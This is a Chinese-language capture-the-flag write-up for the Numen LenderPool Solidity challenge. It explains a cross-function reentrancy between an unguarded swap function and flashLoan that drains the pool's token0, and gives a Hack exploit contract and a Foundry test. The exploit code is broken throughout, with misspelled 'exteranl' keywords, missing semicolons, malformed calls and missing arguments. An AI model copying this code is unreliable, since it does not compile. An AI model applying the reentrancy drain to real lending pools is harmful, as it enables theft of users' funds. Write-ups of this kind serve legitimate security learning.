CTF-Numen-LenderPool

题目有点长的,主要是接口使用多了
源代码点击

要求很明显:

function isSolved() public view returns (bool) {
if (token0.balanceOf(address(lenderPool)) == 0) {
return true;
}

耗尽池中所有的token0

关键就是在flashLoan函数中一个外部调用出现了问题:

token0.transfer(borrower, borrowAmount);
borrower.functionCall(abi.encodeWithSignature("receiveEther(uint256)", borrowAmount));

当发送给borrower ``token0时,会调用borrower的内部函数去接受,虽然flashLoan函数有防止重入的攻击的修饰,但是swap()函数没有防止重入攻击的修饰符,所以就可一进行一个=跨函数的重入攻击。

所以这就是一个漏洞所在之处;

攻击思路:首先利用闪电贷借入token0;在闪电贷给攻击者转代币的时候,使用swap函数将token0转化为token1;造成假象已经进行还款了
最后直接再次调用swap函数,然后将token1换回token0,这样就无中生有消耗了池中的token0;

攻击代码:

//SPDX-License-Identifier: MIT
pragma solidity^ 0.8.13;

interface LenderPool{
function swap(address tokenAddress, uint256 amount) exteranl returns(uint256);
function flashLoan(uint256 borrowAmount,address borrower) exteranl ;
}

contract Hack{
LenderPool pool;

constructor (address _pool){
pool = LenderPool(_pool);
}

function pwn () exteranl {
pool.flashLoan(IERC20(pool.token0()).balanceOf(pool),address(this));
IERC20(address(pool.token1())).approve(address(pool));
pool.swap(address(pool.token0()),IERC20(pool.token(1()).balanceOf(address)));

}

function receiveEther(uint256 borrowAmount) exteranl{
IERC20(address(pool.token0())).approve(address(pool))
pool.swap(address(pool.token1()),borrowAmount)
}
}

附加一个测试代码:

//SPDX-License-Identifier: MIT
pragma solidity^0.8.13;

import "./LenderPool.sol";
import "./Hack.sol";
import "forge-std/Test.sol"

contract LenderPooltest is test{
Check public check;
Hack hack;
address hacker = makeAddr("hacker");

function setup() public{
check = new check();
}

function testhack() public{
vm.startPrank(hacker);

hack = new hack();
hack.pwn();

assertTrue(check.isSolved());
}
}

总体来说,就是这个交换没有防止重入的修饰,我们可以随意调用这个swap函数,然后就可以进行替换,完成题目。